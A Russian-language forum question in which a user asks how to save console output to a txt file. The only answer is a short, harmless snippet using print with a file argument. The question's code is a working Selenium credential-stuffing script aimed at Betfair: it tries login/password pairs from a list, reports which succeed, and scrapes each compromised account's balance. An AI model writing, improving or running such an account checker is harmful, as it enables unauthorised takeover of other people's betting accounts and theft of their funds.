Задать вопрос
@degrater
junior python developer

Как выводимое в консоль записать в файл txt?

Необходимо записать содержимое всех print() в файл txt
while n < sum_lines:
    try:
        driver.get(base_site)
        time.sleep(6)
            # ждем подгрузки страницы и нажимаем на соглашение, что разрешаем хранить куки
        try:
            driver.find_element_by_xpath('//*[@id="onetrust-accept-btn-handler"]').click()
        except:
            print(Fore.RED +"error cookies confirmation")
            print(Style.RESET_ALL)
        time.sleep(1)
        
        print('\033[33miteration ' + str(n+1) + '\033[0m')

        pair_line = lines_in_file[n].split(' ') # Разделитель пары логин/пароль - пробел. Если иное, заменить пробел на символ разделителя
        login = pair_line[0]
        password = pair_line[1].strip('\n')

        # пытаемся зайти

        input_login = driver.find_element_by_xpath('//*[@id="username"]')
        input_password = driver.find_element_by_xpath('//*[@id="password"]')
        time.sleep(1)
        input_login.send_keys(login)
        time.sleep(1)
        input_password.send_keys(password)
        time.sleep(1)
        driver.find_element_by_xpath('//*[@id="login"]').click()
        time.sleep(5)
        try:
            driver.find_element_by_xpath('//*[@id="showMessage"]/p')
            print('\033[31mwrong login or password with pairs: ' + login + '/' + password + '\033[0m')
        except:
            print('\033[32msУСПЕХ login with pairs: ' + login + '/' + password + '\033[0m')
            time.sleep(2)
            try:
                driver.get('https://myaccount.betfair.com/summary/accountsummary')
                time.sleep(3)
                balance = driver.find_element_by_xpath('//*[@id="root"]/div/div/div[2]/div/div[3]/div[1]/div/div[1]/span').text
                print('\033[32mBALANCE is: \033[31m' + balance + '\033[0m')
                driver.delete_all_cookies()
            except:
                print("error balance")
            time.sleep(2)
  • Вопрос задан
  • 448 просмотров
Подписаться 3 Простой 1 комментарий
Решения вопроса 1
@AVKor
with open('file.txt', mode='w') as f:
    print('hello world', file=f)
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы